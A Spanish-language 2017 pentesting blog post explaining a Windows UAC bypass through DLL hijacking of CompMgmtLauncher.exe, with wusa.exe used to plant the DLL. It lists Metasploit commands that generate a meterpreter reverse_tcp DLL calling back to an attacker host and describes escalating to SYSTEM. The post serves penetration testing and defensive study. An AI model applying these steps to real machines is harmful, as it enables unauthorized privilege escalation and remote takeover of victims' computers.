miércoles, marzo 15, 2017

Una nueva forma de saltarse UAC en Windows 7/8/8.1 con PowerShell y Metasploit

Microsoft no contempla un Bypass de UAC (User Account Control) como una vulnerabilidad, debido a que depende de la configuración que la característica de seguridad tenga en cada momento. Es cierto que desde Windows 7 la configuración del UAC fue “rebajada” para la comodidad del usuario, dejando la petición de consentimiento para binarios que no son de Windows, es decir, que no están firmados por Microsoft o que tienen la directiva autoElevate a true en el manifiesto del binario.

Figura 1: Una nueva forma de saltarse UAC en Windows 7/8/8.1 con PowerShell y Metasploit

Repasando los binarios que tienen el autoElevate a true encontré uno que me llamó la atención. En UACMe, un repositorio dónde podemos encontrar un gran número de bypass de UAC, encontramos algunos que se aprovechan de dicho binario, pero no de la forma que planteo yo en el artículo.

Figura 2: UACMe en GitHub

Los métodos conocidos que se utilizaron para aprovecharse del binario CompMgmtLauncher.exe son la manipulación del registro de Windows, justo como se contó con el método Fileless y el método de Shell API.


Figura 3: PoC de Fileless UAC Bypass


Lo primero que hice fue ver el manifiesto del binario y el comportamiento del binario CompMgmtLauncher.exe. Con la herramienta sigcheck.exe de Sysinternals se puede ver el manifiesto del binario. Buscamos la directiva autoElevate y observamos el valor True. Esto quiere decir que el binario cuando se ejecute se ejecutará con privilegio, es decir, en un contexto de integridad alto.

Figura 4: autoElevate a TRUE

Cuando se mira la integridad del proceso con herramientas que permiten observar este detalle, se puede ver cómo se está ejecutando con integridad alta, por ejemplo, con Process Explorer o Process Monitor. Ahora, podemos observar cómo podemos llevar a cabo la técnica DLL Hijacking a través del secuestro de una DLL como ya se vio en otro UAC Bypass.

Buscando la DLL que hay que secuestrar

Para poder verificar si el binario es vulnerable a DLL Hijacking, tenemos que mirar si hay algún directorio o fichero que no es encontrado durante el arranque del binario. Si ejecutamos Procmon para monitorizar, en este caso, el sistema de archivos y las operaciones que se hacen sobre él, por el binario CompMgmtLauncher.exe nos encontramos que hay varios NAME NOT FOUND.

Figura 5: Librerías NOT FOUND que podrían ser secuestradas

Si echamos un ojo, quitando el filtro de solo sacar NAME NOT FOUND, observamos que después de buscar el directorio compmgmtlauncher.exe.Local, el binario se dirige a WinSxS, en el caso de las arquitecturas de 32 bits, y descubre la DLL que realmente está buscando. Entonces, si nosotros podemos lograr que la DLL se escriba en una ubicación protegida como es \Windows\System32, podríamos lograr que el binario encuentre primero nuestra DLL maliciosa y la cargase. Esta técnica de explotación ya lo vimos anteriormente en otro UAC Bypass para Windows 7 y Windows 10 con el fichero tcmsetup.exe.


Figura 6: UAC Bypass en Windows 10 con WinSxS

En el caso de que nuestra DLL maliciosa fuera cargada, en primer lugar, por el binario, podríamos ejecutar código en un contexto elevado, ya que el binario que cargaría la DLL es CompMgmtLauncher.exe, el cual se ejecuta en un contexto elevado o auto-elevado.

Creación de una DLL maliciosa con MetasPloit

Para crearnos una DLL maliciosa podemos utilizar un módulo de Metasploit. Para ello, arrancamos msfconsole y ejecutamos:
• use payload/windows/meterpreter/reverse_tcp
• set LHOST [dirección IP retorno]
• generate –t dll –f [ruta creación DLL]
Y así de sencillo ya la tenemos creada. Ahora ya puede ser utilizada en cualquier Pentesting con PowerShell para conseguir la elevación de privilegios saltándose el UAC.

PoC: Creando el Bypass de UAC con Powershell

Para copiar la DLL a la ubicación protegida dónde el binario de CompMgmtLauncher.exe buscará tenemos dos opciones:
• Utilizar la aplicación wusa.exe: La cual permite extraer el contenido de un fichero CAB en una ubicación protegida, debido a que dicha aplicación se ejecuta en un contexto de integridad alto. Esta opción sólo nos servirá en Windows 7, 8 y 8.1. Es la que utilizaremos para este artículo. 
• Utilizar IFileOperation: La exposición de los objetos COM. Este objeto contiene métodos que permiten copiar, mover, eliminar objetos del sistema de archivos como ficheros y carpetas. Este método es válido en Windows 10.
Hay que indicar que el binario CompMgmtLauncher.exe puede ser utilizado en Windows 10 para hacer el UAC Bypass, aunque solo se pueda utilizar el método IFileOperation como medio para copiar la DLL a la ubicación protegida.

Ahora, vamos a hacer un pequeño script de Powershell que permite ejemplificar y llevar a cabo el Bypass de User Account Control con la invocación del binario CompMgmtLauncher.exe y a través del vector de wusa.exe y DLL Hijacking. Crearemos una función denominada Invoke-CompMgmtLauncher. En primer lugar, crearemos un directorio en el escritorio de la víctima dónde creará la jerarquía de carpetas necesarias en el directorio CompMgmtLauncher.exe.Local.

Figura 7: Función invoke-compMgmtLauncher

Una vez tenemos preparada la jerarquía de carpetas, vamos a crear el fichero CAB. El fichero CAB será utilizado por wusa.exe para hacer la extracción en la ruta privilegiada. Tal y como se puede visualizar en la imagen, se crea un fichero DDF. Este fichero DDF está compuesto por directivas que serán procesadas por el binario makecab.exe, el cuál es el encargado de generar el fichero CAB.

En resumen, podemos decir que DDF indica a makecab.exe cómo se debe distribuir los archivos en el CAB y qué características tiene el fichero y la compresión de éste.

Figura 8: Fichero DDF

Una vez creado el fichero DDF, nuestro script/exploit de Powershell generará el fichero CAB a través de la sentencia makecab.exe /f [ruta del fichero DDF]. Una vez hecho esto, tendremos ya el fichero CAB disponible para que wusa.exe pueda utilizarlo.

La siguiente instrucción es la de utiliza wusa.exe para llevar a cabo la extracción en \Windows\System32. Ahora que ya tenemos la jerarquía de carpetas que compone comctl32.dll en \Windows\System32 se debe arrancar el proceso CompMgmtLauncher.exe para que se lleve a cabo la ejecución de código, es decir, la DLL, en un entorno privilegiado.

Probando el PoC

Hay que tener en cuenta que, para llevar a cabo un UAC Bypass, se deben cumplir ciertas condiciones:
• El UAC debe estar configurado por defecto. La configuración por defecto de Windows 7. Si está en modo Windows Vista, no tendrá efecto porque no existe la opción de autoElevate.
Figura 9: Modos de configuración de UAC "por defecto"
• El usuario que ejecuta el binario auto-elevado debe ser del grupo administradores.
Una vez conseguida una sesión, por ejemplo, con Metasploit y tenemos una Powershell remota e interactiva, podemos descargarnos dinámicamente a memoria nuestro script, tal y como se puede ver en la imagen.

Figura 10: Descarga desde PowreShell del script para logar saltar el UAC

Una vez hecho esto, podemos comprobar con ls function: que la función se ha cargado correctamente y está disponible.

Figura 11: Comprobación de que la función está cargada correctamente

Cuando se ejecuta la función de Powershell, se obtiene un Meterpreter, el cuál es el que está en la DLL y se obtiene una nueva sesión. Esta sesión se encontrará con más privilegios, por lo que cuando hagamos el getsystem, podremos impersonalizar a System y acceder a cualquier recurso del sistema.

Figura 12: Sesión de Meterpreter

Ha sido un juego interesante lograr el UAC Bypass en un Windows y hacer esta pequeña escalada de privilegios, la cual siempre está guiada por las condiciones del UAC y de la identidad y grupo del usuario que ejecuta el proceso, así que si nos enfrentamos a un entorno Windows Fortificado, tal vez no funcione este proceso.

Figura 13: Sesión como System en el equipo Windows remoto

Como se puede ver, se puede sacar un provecho y un beneficio en una auditoría interna, dónde las escaladas de privilegio y el UAC Bypass son técnicas utilizadas diariamente. En el siguiente vídeo se ve el proceso completo funcionando con este caso concreto.


Figura 14: Vídeo con PoC de UAC Bypass usando CompMgmtLauncher en Windows 7/8/8.1

Se puede descargar este script y modificar desde mi Github y sacarle el jugo a este UAC Bypass en tus proyectos de Ehtical Hacking.

Figura 15: Script de UAC Bypass con CompMgmtLauncher

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

1 comentario: